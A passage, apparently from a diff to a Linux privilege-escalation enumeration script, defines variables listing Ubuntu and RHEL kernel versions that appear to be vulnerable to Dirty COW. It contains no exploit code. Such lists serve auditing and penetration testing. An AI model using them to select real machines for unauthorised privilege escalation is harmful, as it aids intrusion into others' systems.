2.0-52-lowlatency\|3.2.0-52-lowlatency-pae\|3.2.0-52-virtual\|3.2.0-53-generic" +kernelDCW_Ubuntu_Precise_2="3.2.0-53-generic-pae\|3.2.0-53-lowlatency\|3.2.0-53-lowlatency-pae\|3.2.0-53-virtual\|3.2.0-54-generic\|3.2.0-54-generic-pae\|3.2.0-54-lowlatency\|3.2.0-54-lowlatency-pae\|3.2.0-54-virtual\|3.2.0-55-generic\|3.2.0-55-generic-pae\|3.2.0-55-lowlatency\|3.2.0-55-lowlatency-pae\|3.2.0-55-virtual\|3.2.0-56-generic\|3.2.0-56-generic-pae\|3.2.0-56-lowlatency\|3.2.0-56-lowlatency-pae\|3.2.0-56-virtual\|3.2.0-57-generic\|3.2.0-57-generic-pae\|3.2.0-57-lowlatency\|3.2.0-57-lowlatency-pae\|3.2.0-57-virtual\|3.2.0-58-generic\|3.2.0-58-generic-pae\|3.2.0-58-lowlatency\|3.2.0-58-lowlatency-pae\|3.2.0-58-virtual\|3.2.0-59-generic\|3.2.0-59-generic-pae\|3.2.0-59-lowlatency\|3.2.0-59-lowlatency-pae\|3.2.0-59-virtual\|3.2.0-60-generic\|3.2.0-60-generic-pae\|3.2.0-60-lowlatency\|3.2.0-60-lowlatency-pae\|3.2.0-60-virtual\|3.2.0-61-generic\|3.2.0-61-generic-pae\|3.2.0-61-virtual\|3.2.0-63-generic\|3.2.0-63-generic-pae\|3.2.0-63-lowlatency\|3.2.0-63-lowlatency-pae\|3.2.0-63-virtual\|3.2.0-64-generic\|3.2.0-64-generic-pae\|3.2.0-64-lowlatency\|3.2.0-64-lowlatency-pae\|3.2.0-64-virtual\|3.2.0-65-generic\|3.2.0-65-generic-pae\|3.2.0-65-lowlatency\|3.2.0-65-lowlatency-pae\|3.2.0-65-virtual\|3.2.0-67-generic\|3.2.0-67-generic-pae\|3.2.0-67-lowlatency\|3.2.0-67-lowlatency-pae\|3.2.0-67-virtual\|3.2.0-68-generic\|3.2.0-68-generic-pae\|3.2.0-68-lowlatency\|3.2.0-68-lowlatency-pae\|3.2.0-68-virtual\|3.2.0-69-generic\|3.2.0-69-generic-pae\|3.2.0-69-lowlatency\|3.2.0-69-lowlatency-pae\|3.2.0-69-virtual\|3.2.0-70-generic\|3.2.0-70-generic-pae\|3.2.0-70-lowlatency\|3.2.0-70-lowlatency-pae\|3.2.0-70-virtual\|3.2.0-72-generic\|3.2.0-72-generic-pae\|3.2.0-72-lowlatency\|3.2.0-72-lowlatency-pae\|3.2.0-72-virtual\|3.2.0-73-generic\|3.2.0-73-generic-pae\|3.2.0-73-lowlatency\|3.2.0-73-lowlatency-pae\|3.2.0-73-virtual\|3.2.0-74-generic\|3.2.0-74-generic-pae\|3.2.0-74-lowlatency\|3.2.0-74-lowlatency-pae\|3.2.0-74-virtual\|3.2.0-75-generic\|3.2.0-75-generic-pae\|3.2.0-75-lowlatency\|3.2.0-75-lowlatency-pae\|3.2.0-75-virtual\|3.2.0-76-generic\|3.2.0-76-generic-pae\|3.2.0-76-lowlatency\|3.2.0-76-lowlatency-pae\|3.2.0-76-virtual\|3.2.0-77-generic\|3.2.0-77-generic-pae\|3.2.0-77-lowlatency\|3.2.0-77-lowlatency-pae\|3.2.0-77-virtual\|3.2.0-79-generic\|3.2.0-79-generic-pae\|3.2.0-79-lowlatency\|3.2.0-79-lowlatency-pae\|3.2.0-79-virtual\|3.2.0-80-generic\|3.2.0-80-generic-pae\|3.2.0-80-lowlatency\|3.2.0-80-lowlatency-pae\|3.2.0-80-virtual\|3.2.0-82-generic\|3.2.0-82-generic-pae\|3.2.0-82-lowlatency\|3.2.0-82-lowlatency-pae\|3.2.0-82-virtual\|3.2.0-83-generic\|3.2.0-83-generic-pae\|3.2.0-83-virtual\|3.2.0-84-generic\|3.2.0-84-generic-pae\|3.2.0-84-virtual\|3.2.0-85-generic\|3.2.0-85-generic-pae\|3.2.0-85-virtual\|3.2.0-86-generic\|3.2.0-86-generic-pae\|3.2.0-86-virtual\|3.2.0-87-generic\|3.2.0-87-generic-pae\|3.2.0-87-virtual\|3.2.0-88-generic\|3.2.0-88-generic-pae\|3.2.0-88-virtual\|3.2.0-89-generic\|3.2.0-89-generic-pae\|3.2.0-89-virtual\|3.2.0-90-generic\|3.2.0-90-generic-pae\|3.2.0-90-virtual\|3.2.0-91-generic\|3.2.0-91-generic-pae\|3.2.0-91-virtual\|3.2.0-92-generic\|3.2.0-92-generic-pae\|3.2.0-92-virtual\|3.2.0-93-generic\|3.2.0-93-generic-pae\|3.2.0-93-virtual\|3.2.0-94-generic\|3.2.0-94-generic-pae\|3.2.0-94-virtual\|3.2.0-95-generic\|3.2.0-95-generic-pae\|3.2.0-95-virtual\|3.2.0-96-generic\|3.2.0-96-generic-pae\|3.2.0-96-virtual\|3.2.0-97-generic\|3.2.0-97-generic-pae\|3.2.0-97-virtual\|3.2.0-98-generic\|3.2.0-98-generic-pae\|3.2.0-98-virtual\|3.2.0-99-generic\|3.2.0-99-generic-pae\|3.2.0-99-virtual\|3.5.0-40-generic\|3.5.0-41-generic\|3.5.0-42-generic\|3.5.0-43-generic\|3.5.0-44-generic\|3.5.0-45-generic\|3.5.0-46-generic\|3.5.0-49-generic\|3.5.0-51-generic\|3.5.0-52-generic\|3.5.0-54-generic\|3.8.0-19-generic\|3.8.0-21-generic\|3.8.0-22-generic\|3.8.0-23-generic\|3.8.0-27-generic\|3.8.0-29-generic\|3.8.0-30-generic\|3.8.0-31-generic\|3.8.0-32-generic\|3.8.0-33-generic\|3.8.0-34-generic\|3.8.0-35-generic\|3.8.0-36-generic\|3.8.0-37-generic\|3.8.0-38-generic\|3.8.0-39-generic\|3.8.0-41-generic\|3.8.0-42-generic" +kernelDCW_Ubuntu_Trusty_1="3.13.0-24-generic\|3.13.0-24-generic-lpae\|3.13.0-24-lowlatency\|3.13.0-24-powerpc-e500\|3.13.0-24-powerpc-e500mc\|3.13.0-24-powerpc-smp\|3.13.0-24-powerpc64-emb\|3.13.0-24-powerpc64-smp\|3.13.0-27-generic\|3.13.0-27-lowlatency\|3.13.0-29-generic\|3.13.0-29-lowlatency\|3.13.0-3-exynos5\|3.13.0-30-generic\|3.13.0-30-lowlatency\|3.13.0-32-generic\|3.13.0-32-lowlatency\|3.13.0-33-generic\|3.13.0-33-lowlatency\|3.13.0-34-generic\|3.13.0-34-lowlatency\|3.13.0-35-generic\|3.13.0-35-lowlatency\|3.13.0-36-generic\|3.13.0-36-lowlatency\|3.13.0-37-generic\|3.13.0-37-lowlatency\|3.13.0-39-generic\|3.13.0-39-lowlatency\|3.13.0-40-generic\|3.13.0-40-lowlatency\|3.13.0-41-generic\|3.13.0-41-lowlatency\|3.13.0-43-generic\|3.13.0-43-lowlatency\|3.13.0-44-generic\|3.13.0-44-lowlatency\|3.13.0-46-generic\|3.13.0-46-lowlatency\|3.13.0-48-generic\|3.13.0-48-lowlatency\|3.13.0-49-generic\|3.13.0-49-lowlatency\|3.13.0-51-generic\|3.13.0-51-lowlatency\|3.13.0-52-generic\|3.13.0-52-lowlatency\|3.13.0-53-generic\|3.13.0-53-lowlatency\|3.13.0-54-generic\|3.13.0-54-lowlatency\|3.13.0-55-generic\|3.13.0-55-lowlatency\|3.13.0-57-generic\|3.13.0-57-lowlatency\|3.13.0-58-generic\|3.13.0-58-lowlatency\|3.13.0-59-generic\|3.13.0-59-lowlatency\|3.13.0-61-generic\|3.13.0-61-lowlatency\|3.13.0-62-generic\|3.13.0-62-lowlatency\|3.13.0-63-generic\|3.13.0-63-lowlatency\|3.13.0-65-generic\|3.13.0-65-lowlatency\|3.13.0-66-generic\|3.13.0-66-lowlatency\|3.13.0-67-generic\|3.13.0-67-lowlatency\|3.13.0-68-generic\|3.13.0-68-lowlatency\|3.13.0-70-generic\|3.13.0-70-lowlatency\|3.13.0-71-generic\|3.13.0-71-lowlatency\|3.13.0-73-generic\|3.13.0-73-lowlatency\|3.13.0-74-generic\|3.13.0-74-lowlatency\|3.13.0-76-generic\|3.13.0-76-lowlatency\|3.13.0-77-generic\|3.13.0-77-lowlatency\|3.13.0-79-generic\|3.13.0-79-lowlatency\|3.13.0-83-generic\|3.13.0-83-lowlatency\|3.13.0-85-generic\|3.13.0-85-lowlatency\|3.13.0-86-generic\|3.13.0-86-lowlatency\|3.13.0-87-generic\|3.13.0-87-lowlatency\|3.13.0-88-generic\|3.13.0-88-lowlatency\|3.13.0-91-generic\|3.13.0-91-lowlatency\|3.13.0-92-generic\|3.13.0-92-lowlatency\|3.13.0-93-generic\|3.13.0-93-lowlatency\|3.13.0-95-generic\|3.13.0-95-lowlatency\|3.13.0-96-generic\|3.13.0-96-lowlatency\|3.13.0-98-generic\|3.13.0-98-lowlatency\|3.16.0-25-generic\|3.16.0-25-lowlatency\|3.16.0-26-generic\|3.16.0-26-lowlatency\|3.16.0-28-generic\|3.16.0-28-lowlatency\|3.16.0-29-generic\|3.16.0-29-lowlatency\|3.16.0-31-generic\|3.16.0-31-lowlatency\|3.16.0-33-generic\|3.16.0-33-lowlatency\|3.16.0-34-generic\|3.16.0-34-lowlatency\|3.16.0-36-generic\|3.16.0-36-lowlatency\|3.16.0-37-generic\|3.16.0-37-lowlatency\|3.16.0-38-generic\|3.16.0-38-lowlatency\|3.16.0-39-generic\|3.16.0-39-lowlatency\|3.16.0-41-generic\|3.16.0-41-lowlatency\|3.16.0-43-generic\|3.16.0-43-lowlatency\|3.16.0-44-generic\|3.16.0-44-lowlatency\|3.16.0-45-generic" +kernelDCW_Ubuntu_Trusty_2="3.16.0-45-lowlatency\|3.16.0-46-generic\|3.16.0-46-lowlatency\|3.16.0-48-generic\|3.16.0-48-lowlatency\|3.16.0-49-generic\|3.16.0-49-lowlatency\|3.16.0-50-generic\|3.16.0-50-lowlatency\|3.16.0-51-generic\|3.16.0-51-lowlatency\|3.16.0-52-generic\|3.16.0-52-lowlatency\|3.16.0-53-generic\|3.16.0-53-lowlatency\|3.16.0-55-generic\|3.16.0-55-lowlatency\|3.16.0-56-generic\|3.16.0-56-lowlatency\|3.16.0-57-generic\|3.16.0-57-lowlatency\|3.16.0-59-generic\|3.16.0-59-lowlatency\|3.16.0-60-generic\|3.16.0-60-lowlatency\|3.16.0-62-generic\|3.16.0-62-lowlatency\|3.16.0-67-generic\|3.16.0-67-lowlatency\|3.16.0-69-generic\|3.16.0-69-lowlatency\|3.16.0-70-generic\|3.16.0-70-lowlatency\|3.16.0-71-generic\|3.16.0-71-lowlatency\|3.16.0-73-generic\|3.16.0-73-lowlatency\|3.16.0-76-generic\|3.16.0-76-lowlatency\|3.16.0-77-generic\|3.16.0-77-lowlatency\|3.19.0-20-generic\|3.19.0-20-lowlatency\|3.19.0-21-generic\|3.19.0-21-lowlatency\|3.19.0-22-generic\|3.19.0-22-lowlatency\|3.19.0-23-generic\|3.19.0-23-lowlatency\|3.19.0-25-generic\|3.19.0-25-lowlatency\|3.19.0-26-generic\|3.19.0-26-lowlatency\|3.19.0-28-generic\|3.19.0-28-lowlatency\|3.19.0-30-generic\|3.19.0-30-lowlatency\|3.19.0-31-generic\|3.19.0-31-lowlatency\|3.19.0-32-generic\|3.19.0-32-lowlatency\|3.19.0-33-generic\|3.19.0-33-lowlatency\|3.19.0-37-generic\|3.19.0-37-lowlatency\|3.19.0-39-generic\|3.19.0-39-lowlatency\|3.19.0-41-generic\|3.19.0-41-lowlatency\|3.19.0-42-generic\|3.19.0-42-lowlatency\|3.19.0-43-generic\|3.19.0-43-lowlatency\|3.19.0-47-generic\|3.19.0-47-lowlatency\|3.19.0-49-generic\|3.19.0-49-lowlatency\|3.19.0-51-generic\|3.19.0-51-lowlatency\|3.19.0-56-generic\|3.19.0-56-lowlatency\|3.19.0-58-generic\|3.19.0-58-lowlatency\|3.19.0-59-generic\|3.19.0-59-lowlatency\|3.19.0-61-generic\|3.19.0-61-lowlatency\|3.19.0-64-generic\|3.19.0-64-lowlatency\|3.19.0-65-generic\|3.19.0-65-lowlatency\|3.19.0-66-generic\|3.19.0-66-lowlatency\|3.19.0-68-generic\|3.19.0-68-lowlatency\|3.19.0-69-generic\|3.19.0-69-lowlatency\|3.19.0-71-generic\|3.19.0-71-lowlatency\|3.4.0-5-chromebook\|4.2.0-18-generic\|4.2.0-18-lowlatency\|4.2.0-19-generic\|4.2.0-19-lowlatency\|4.2.0-21-generic\|4.2.0-21-lowlatency\|4.2.0-22-generic\|4.2.0-22-lowlatency\|4.2.0-23-generic\|4.2.0-23-lowlatency\|4.2.0-25-generic\|4.2.0-25-lowlatency\|4.2.0-27-generic\|4.2.0-27-lowlatency\|4.2.0-30-generic\|4.2.0-30-lowlatency\|4.2.0-34-generic\|4.2.0-34-lowlatency\|4.2.0-35-generic\|4.2.0-35-lowlatency\|4.2.0-36-generic\|4.2.0-36-lowlatency\|4.2.0-38-generic\|4.2.0-38-lowlatency\|4.2.0-41-generic\|4.2.0-41-lowlatency\|4.4.0-21-generic\|4.4.0-21-lowlatency\|4.4.0-22-generic\|4.4.0-22-lowlatency\|4.4.0-24-generic\|4.4.0-24-lowlatency\|4.4.0-28-generic\|4.4.0-28-lowlatency\|4.4.0-31-generic\|4.4.0-31-lowlatency\|4.4.0-34-generic\|4.4.0-34-lowlatency\|4.4.0-36-generic\|4.4.0-36-lowlatency\|4.4.0-38-generic\|4.4.0-38-lowlatency\|4.4.0-42-generic\|4.4.0-42-lowlatency" +kernelDCW_Ubuntu_Xenial="4.4.0-1009-raspi2\|4.4.0-1012-snapdragon\|4.4.0-21-generic\|4.4.0-21-generic-lpae\|4.4.0-21-lowlatency\|4.4.0-21-powerpc-e500mc\|4.4.0-21-powerpc-smp\|4.4.0-21-powerpc64-emb\|4.4.0-21-powerpc64-smp\|4.4.0-22-generic\|4.4.0-22-lowlatency\|4.4.0-24-generic\|4.4.0-24-lowlatency\|4.4.0-28-generic\|4.4.0-28-lowlatency\|4.4.0-31-generic\|4.4.0-31-lowlatency\|4.4.0-34-generic\|4.4.0-34-lowlatency\|4.4.0-36-generic\|4.4.0-36-lowlatency\|4.4.0-38-generic\|4.4.0-38-lowlatency\|4.4.0-42-generic\|4.4.0-42-lowlatency" +kernelDCW_Rhel5="2.6.24.7-74.el5rt\|2.6.24.7-81.el5rt\|2.6.24.7-93.el5rt\|2.6.24.7-101.el5rt\|2.6.24.7-108.el5rt\|2.6.24.7-111.el5rt\|2.6.24.7-117.el5rt\|2.6.24.7-126.el5rt\|2.6.24.7-132.el5rt\|2.6.24.7-137.el5rt\|2.6.24.7-139.el5rt\|2.6.24.7-146.el5rt\|2.6.24.7-149.el5rt\|2.6.24.7-161.el5rt\|2.6.24.7-169.el5rt\|2.6.33.7-rt29.45.el5rt\|2.6.33.7-rt29.47.el5rt\|2.6.33.7-rt29.55.el5rt\|2.6.33.9-rt31.64.el5rt\|2.6.33.9-rt31.67.el5rt\|2.6.33.9-rt31.86.el5rt\|2.6.18-8.1.1.el5\|2.6.18-8.1.3.el5\|2.6.18-8.1.4.el5\|2.6.18-8.1.6.el5\|2.6.18-8.1.8.el5\|2.6.18-8.1.10.el5\|2.6.18-8.1.14.el5\|2.6.18-8.1.15.el5\|2.6.18-53.el5\|2.6.18-53.1.4.el5\|2.6.18-53.1.6.el5\|2.6.18-53.1.13.el5\|2.6.18-53.1.14.el5\|2.6.18-53.1.19.el5\|2.6.18-53.1.21.el5\|2.6.18-92.el5\|2.6.18-92.1.1.el5\|2.6.18-92.1.6.el5\|2.6.18-92.1.10.el5\|2.6.18-92.1.13.el5\|2.6.18-92.1.18.el5\|2.6.18-92.1.22.el5\|2.6.18-92.1.24.el5\|2.6.18-92.1.26.el5\|2.6.18-92.1.27.el5\|2.6.18-92.1.28.el5\|2.6.18-92.1.29.el5\|2.6.18-92.1.32.el5\|2.6.18-92.1.35.el5\|2.6.18-92.1.38.el5\|2.6.18-128.el5\|2.6.18-128.1.1.el5\|2.6.18-128.1.6.el5\|2.6.18-128.1.10.el5\|2.6.18-128.1.14.el5\|2.6.18-128.1.16.el5\|2.6.18-128.2.1.el5\|2.6.18-128.4.1.el5\|2.6.18-128.4.1.el5\|2.6.18-128.7.1.el5\|2.6.18-128.8.1.el5\|2.6.18-128.11.1.el5\|2.6.18-128.12.1.el5\|2.6.18-128.14.1.el5\|2.6.18-128.16.1.el5\|2.6.18-128.17.1.el5\|2.6.18-128.18.1.el5\|2.6.18-128.23.1.el5\|2.6.18-128.23.2.el5\|2.6.18-128.25.1.el5\|2.6.18-128.26.1.el5\|2.6.18-128.27.1.el5\|2.6.18-128.29.1.el5\|2.6.18-128.30.1.el5\|2.6.18-128.31.1.el5\|2.6.18-128.32.1.el5\|2.6.18-128.35.1.el5\|2.6.18-128.36.1.el5\|2.6.18-128.37.1.el5\|2.6.18-128.38.1.el5\|2.6.18-128.39.1.el5\|2.6.18-128.40.1.el5\|2.6.18-128.41.1.el5\|2.6.18-164.el5\|2.6.18-164.2.1.el5\|2.6.18-164.6.1.el5\|2.6.18-164.9.1.el5\|2.6.18-164.10.1.el5\|2.6.18-164.11.1.el5\|2.6.18-164.15.1.el5\|2.6.18-164.17.1.el5\|2.6.18-164.19.1.el5\|2.6.18-164.21.1.el5\|2.6.18-164.25.1.el5\|2.6.18-164.25.2.el5\|2.6.18-164.28.1.el5\|2.6.18-164.30.1.el5\|2.6.18-164.32.1.el5\|2.6.18-164.34.1.el5\|2.6.18-164.36.1.el5\|2.6.18-164.37.1.el5\|2.6.18-164.38.1.el5\|2.6.18-194.el5\|2.6.18-194.3.1.el5\|2.6.18-194.8.1.el5\|2.6.18-194.11.1.el5\|2.6.18-194.11.3.el5\|2.6.18-194.11.4.el5\|2.6.18-194.17.1.el5\|2.6.18-194.17.4.el5\|2.6.18-194.26.1.el5\|2.6.18-194.32.1.el5\|2.6.18-238.el5\|2.6.18-238.1.1.el5\|2.6.18-238.5.1.el5\|2.6.18-238.9.1.el5\|2.6.18-238.12.1.el5\|2.6.18-238.19.1.el5\|2.6.18-238.21.1.el5\|2.6.18-238.27.1.el5\|2.6.18-238.28.1.el5\|2.6.18-238.31.1.el5\|2.6.18-238.33.1.el5\|2.6.18-238.35.1.el5\|2.6.18-238.37.1.el5\|2.6.18-238.39.1.el5\|2.6.18-238.40.1.el5\|2.6.18-238.44.1.el5\|2.6.18-238.45.1.el5\|2.6.18-238.47.1.el5\|2.6.18-238.48.1.el5\|2.6.18-238.49.1.el5\|2.6.18-238.50.1.el5\|2.6.18-238.51.1.el5\|2.6.18-238.52.1.el5\|2.6.18-238.53.1.el5\|2.6.18-238.54.1.el5\|2.6.18-238.55.1.el5\|2.6.18-238.56.1.el5\|2.6.18-274.el5\|2.6.18-274.3.1.el5\|2.6.18-274.7.1.el5\|2.6.18-274.12.1.el5\|2.6.18-274.17.1.el5\|2.6.18-274.18.1.el5\|2.6.18-308.el5\|2.6.18-308.1.1.el5\|2.6.18-308.4.1.el5\|2.6.18-308.8.1.el5\|2.6.18-308.8.2.el5\|2.6.18-308.11.1.el5\|2.6.18-308.13.1.el5\|2.6.18-308.16.1.el5\|2.6.18-308.20.1.el5\|2.6.18-308.24.1.el5\|2.6.18-348.el5\|2.6.18-348.1.1.el5\|2.6.18-348.2.1.el5\|2.6.18-348.3.1.el5\|2.6.18-348.4.1.el5\|2.6.18-348.6.1.el5\|2.6.18-348.12.1.el5\|2.6.18-348.16.1.el5\|2.6.18-348.18.1.el5\|2.6.18-348.19.1.el5\|2.6.18-348.21.1.el5\|2.6.18-348.22.1.el5\|2.6.18-348.23.1.el5\|2.6.18-348.25.1.el5\|2.6.18-348.27.1.el5\|2.6.18-348.28.1.el5\|2.6.18-348.29.1.el5\|2.6.18-348.30.1.el5\|2.6.18-348.31.2.el5\|2.6.18-371.el5\|2.6.18-371.1.2.el5\|2.6.18-371.3.1.el5\|2.6.18-371.4.1.el5\|2.6.18-371.6.1.el5\|2.6.18-371.8.1.el5\|2.6.18-371.9.1.el5\|2.6.18-371.11.1.el5\|2.6.18-371.12.1.el5\|2.6.18-398.el5\|2.6.18-400.el5\|2.6.18-400.1.1.el5\|2.6.18-402.el5\|2.6.18-404.el5\|2.6.18-406.el5\|2.6.18-407.el5\|2.6.18-408.el5\|2.6.18-409.el5\|2.6.18-410.el5\|2.6.18-411.el5\|2.6.18-412.el5" +kernelDCW_Rhel6_1="2.6.33.9-rt31.66.el6rt\|2.6.33.9-rt31.74.el6rt\|2.6.33.9-rt31.75.el6rt\|2.6.33.9-rt31.79.el6rt\|3.0.9-rt26.45.el6rt\|3.0.9-rt26.46.el6rt\|3.0.18-rt34.53.el6rt\|3.0.25-rt44.57.el6rt\|3.0.30-rt50.62.el6rt\|3.0.36-rt57.66.el6rt\|3.2.23-rt37.56.el6rt\|3.2.33-rt50.66.el6rt\|3.6.11-rt28.20.el6rt\|3.6.11-rt30.25.el6rt\|3.6.11.2-rt33.39.el6rt\|3.6.11.5-rt37.55.el6rt\|3.8.13-rt14.20.el6rt\|3.8.13-rt14.25.el6rt\|3.8.13-rt27.33.el6rt\|3.8.13-rt27.34.el6rt\|3.8.13-rt27.40.el6rt\|3.10.0-229.rt56.144.el6rt\|3.10.0-229.rt56.147.el6rt\|3.10.0-229.rt56.149.el6rt\|3.10.0-229.rt56.151.el6rt\|3.10.0-229.rt56.153.el6rt\|3.10.0-229.rt56.158.el6rt\|3.10.0-229.rt56.161.el6rt\|3.10.0-229.rt56.162.el6rt\|3.10.0-327.rt56.170.el6rt\|3.10.0-327.rt56.171.el6rt\|3.10.0-327.rt56.176.el6rt\|3.10.0-327.rt56.183.el6rt\|3.10.0-327.rt56.190.el6rt\|3.10.0-327.rt56.194.el6rt\|3.10.0-327.rt56.195.el6rt\|3.10.0-327.rt56.197.el6rt\|3.10.33-rt32.33.el6rt\|3.10.33-rt32.34.el6rt\|3.10.33-rt32.43.el6rt\|3.10.33-rt32.45.el6rt\|3.10.33-rt32.51.el6rt\|3.10.33-rt32.52.el6rt\|3.10.58-rt62.58.el6rt\|3.10.58-rt62.60.el6rt\|2.6.32-71.7.1.el6\|2.6.32-71.14.1.el6\|2.6.32-71.18.1.el6\|2.6.32-71.18.2.el6\|2.6.32-71.24.1.el6\|2.6.32-71.29.1.el6\|2.6.32-71.31.1.el6\|2.6.32-71.34.1.el6\|2.6.32-71.35.1.el6\|2.6.32-71.36.1.el6\|2.6.32-71.37.1.el6\|2.6.32-71.38.1.el6\|2.6.32-71.39.1.el6\|2.6.32-71.40.1.el6\|2.6.32-131.0.15.el6\|2.6.32-131.2.1.el6\|2.6.32-131.4.1.el6\|2.6.32-131.6.1.el6\|2.6.32-131.12.1.el6\|2.6.32-131.17.1.el6\|2.6.32-131.21.1.el6\|2.6.32-131.22.1.el6\|2.6.32-131.25.1.el6\|2.6.32-131.26.1.el6\|2.6.32-131.28.1.el6\|2.6.32-131.29.1.el6\|2.6.32-131.30.1.el6\|2.6.32-131.30.2.el6\|2.6.32-131.33.1.el6\|2.6.32-131.35.1.el6\|2.6.32-131.36.1.el6\|2.6.32-131.37.1.el6\|2.6.32-131.38.1.el6\|2.6.32-131.39.1.el6\|2.6.32-220.el6\|2.6.32-220.2.1.el6\|2.6.32-220.4.1.el6\|2.6.32-220.4.2.el6\|2.6.32-220.4.7.bgq.el6\|2.6.32-220.7.1.el6\|2.6.32-220.7.3.p7ih.el6\|2.6.32-220.7.4.p7ih.el6\|2.6.32-220.7.6.p7ih.el6\|2.6.32-220.7.7.p7ih.el6\|2.6.32-220.13.1.el6\|2.6.32-220.17.1.el6\|2.6.32-220.23.1.el6\|2.6.32-220.24.1.el6\|2.6.32-220.25.1.el6\|2.6.32-220.26.1.el6\|2.6.32-220.28.1.el6\|2.6.32-220.30.1.el6\|2.6.32-220.31.1.el6\|2.6.32-220.32.1.el6\|2.6.32-220.34.1.el6\|2.6.32-220.34.2.el6\|2.6.32-220.38.1.el6\|2.6.32-220.39.1.el6\|2.6.32-220.41.1.el6\|2.6.32-220.42.1.el6\|2.6.32-220.45.1.el6\|2.6.32-220.46.1.el6\|2.6.32-220.48.1.el6\|2.6.32-220.51.1.el6\|2.6.32-220.52.1.el6\|2.6.32-220.53.1.el6\|2.6.32-220.54.1.el6\|2.6.32-220.55.1.el6\|2.6.32-220.56.1.el6\|2.6.32-220.57.1.el6\|2.6.32-220.58.1.el6\|2.6.32-220.60.2.el6\|2.6.32-220.62.1.el6\|2.6.32-220.63.2.el6\|2.6.32-220.64.1.el6\|2.6.32-220.65.1.el6\|2.6.32-220.66.1.el6\|2.6.32-220.67.1.el6\|2.6.32-279.el6\|2.6.32-279.1.1.el6\|2.6.32-279.2.1.el6\|2.6.32-279.5.1.el6\|2.6.32-279.5.2.el6\|2.6.32-279.9.1.el6\|2.6.32-279.11.1.el6\|2.6.32-279.14.1.bgq.el6\|2.6.32-279.14.1.el6\|2.6.32-279.19.1.el6\|2.6.32-279.22.1.el6\|2.6.32-279.23.1.el6\|2.6.32-279.25.1.el6\|2.6.32-279.25.2.el6\|2.6.32-279.31.1.el6\|2.6.32-279.33.1.el6\|2.6.32-279.34.1.el6\|2.6.32-279.37.2.el6\|2.6.32-279.39.1.el6" +kernelDCW_Rhel6_2="2.6.32-279.41.1.el6\|2.6.32-279.42.1.el6\|2.6.32-279.43.1.el6\|2.6.32-279.43.2.el6\|2.6.32-279.46.1.el6\|2.6.32-358.el6\|2.6.32-358.0.1.el6\|2.6.32-358.2.1.el6\|2.6.32-358.6.1.el6\|2.6.32-358.6.2.el6\|2.6.32-358.6.3.p7ih.el6\|2.6.32-358.11.1.bgq.el6\|2.6.32-358.11.1.el6\|2.6.32-358.14.1.el6\|2.6.32-358.18.1.el6\|2.6.32-358.23.2.el6\|2.6.32-358.28.1.el6\|2.6.32-358.32.3.el6\|2.6.32-358.37.1.el6\|2.6.32-358.41.1.el6\|2.6.32-358.44.1.el6\|2.6.32-358.46.1.el6\|2.6.32-358.46.2.el6\|2.6.32-358.48.1.el6\|2.6.32-358.49.1.el6\|2.6.32-358.51.1.el6\|2.6.32-358.51.2.el6\|2.6.32-358.55.1.el6\|2.6.32-358.56.1.el6\|2.6.32-358.59.1.el6\|2.6.32-358.61.1.el6\|2.6.32-358.62.1.el6\|2.6.32-358.65.1.el6\|2.6.32-358.67.1.el6\|2.6.32-358.68.1.el6\|2.6.32-358.69.1.el6\|2.6.32-358.70.1.el6\|2.6.32-358.71.1.el6\|2.6.32-358.72.1.el6\|2.6.32-358.73.1.el6\|2.6.32-358.111.1.openstack.el6\|2.6.32-358.114.1.openstack.el6\|2.6.32-358.118.1.openstack.el6\|2.6.32-358.123.4.openstack.el6\|2.6.32-431.el6\|2.6.32-431.1.1.bgq.el6\|2.6.32-431.1.2.el6\|2.6.32-431.3.1.el6\|2.6.32-431.5.1.el6\|2.6.32-431.11.2.el6\|2.6.32-431.17.1.el6\|2.6.32-431.20.3.el6\|2.6.32-431.20.5.el6\|2.6.32-431.23.3.el6\|2.6.32-431.29.2.el6\|2.6.32-431.37.1.el6\|2.6.32-431.40.1.el6\|2.6.32-431.40.2.el6\|2.6.32-431.46.2.el6\|2.6.32-431.50.1.el6\|2.6.32-431.53.2.el6\|2.6.32-431.56.1.el6\|2.6.32-431.59.1.el6\|2.6.32-431.61.2.el6\|2.6.32-431.64.1.el6\|2.6.32-431.66.1.el6\|2.6.32-431.68.1.el6\|2.6.32-431.69.1.el6\|2.6.32-431.70.1.el6\|2.6.32-431.71.1.el6\|2.6.32-431.72.1.el6\|2.6.32-431.73.2.el6\|2.6.32-431.74.1.el6\|2.6.32-504.el6\|2.6.32-504.1.3.el6\|2.6.32-504.3.3.el6\|2.6.32-504.8.1.el6\|2.6.32-504.8.2.bgq.el6\|2.6.32-504.12.2.el6\|2.6.32-504.16.2.el6\|2.6.32-504.23.4.el6\|2.6.32-504.30.3.el6\|2.6.32-504.30.5.p7ih.el6\|2.6.32-504.33.2.el6\|2.6.32-504.36.1.el6\|2.6.32-504.38.1.el6\|2.6.32-504.40.1.el6\|2.6.32-504.43.1.el6\|2.6.32-504.46.1.el6\|2.6.32-504.49.1.el6\|2.6.32-504.50.1.el6\|2.6.32-504.51.1.el6\|2.6.32-504.52.1.el6\|2.6.32-573.el6\|2.6.32-573.1.1.el6\|2.6.32-573.3.1.el6\|2.6.32-573.4.2.bgq.el6\|2.6.32-573.7.1.el6\|2.6.32-573.8.1.el6\|2.6.32-573.12.1.el6\|2.6.32-573.18.1.el6\|2.6.32-573.22.1.el6\|2.6.32-573.26.1.el6\|2.6.32-573.30.1.el6\|2.6.32-573.32.1.el6\|2.6.32-573.34.1.el6\|2.6.32-642.el6\|2.6.32-642.1.1.el6\|2.6.32-642.3.1.el6\|2.6.32-642.4.2.el6\|2.6.32-642.6.1.el6" +kernelDCW_Rhel7="3.10.0-229.rt56.141.el7\|3.10.0-229.1.2.rt56.141.2.el7_1\|3.10.0-229.4.2.rt56.141.6.el7_1\|3.10.0-229.7.2.rt56.141.6.el7_1\|3.10.0-229.11.1.rt56.141.11.el7_1\|3.10.0-229.14.1.rt56.141.13.el7_1\|3.10.0-229.20.1.rt56.141.14.el7_1\|3.10.0-229.rt56.141.el7\|3.10.0-327.rt56.204.el7\|3.10.0-327.4.5.rt56.206.el7_2\|3.10.0-327.10.1.rt56.211.el7_2\|3.10.0-327.13.1.rt56.216.el7_2\|3.10.0-327.18.2.rt56.223.el7_2\|3.10.0-327.22.2.rt56.230.el7_2\|3.10.0-327.28.2.rt56.234.el7_2\|3.10.0-327.28.3.rt56.235.el7\|3.10.0-327.36.1.rt56.237.el7\|3.10.0-123.el7\|3.10.0-123.1.2.el7\|3.10.0-123.4.2.el7\|3.10.0-123.4.4.el7\|3.10.0-123.6.3.el7\|3.10.0-123.8.1.el7\|3.10.0-123.9.2.el7\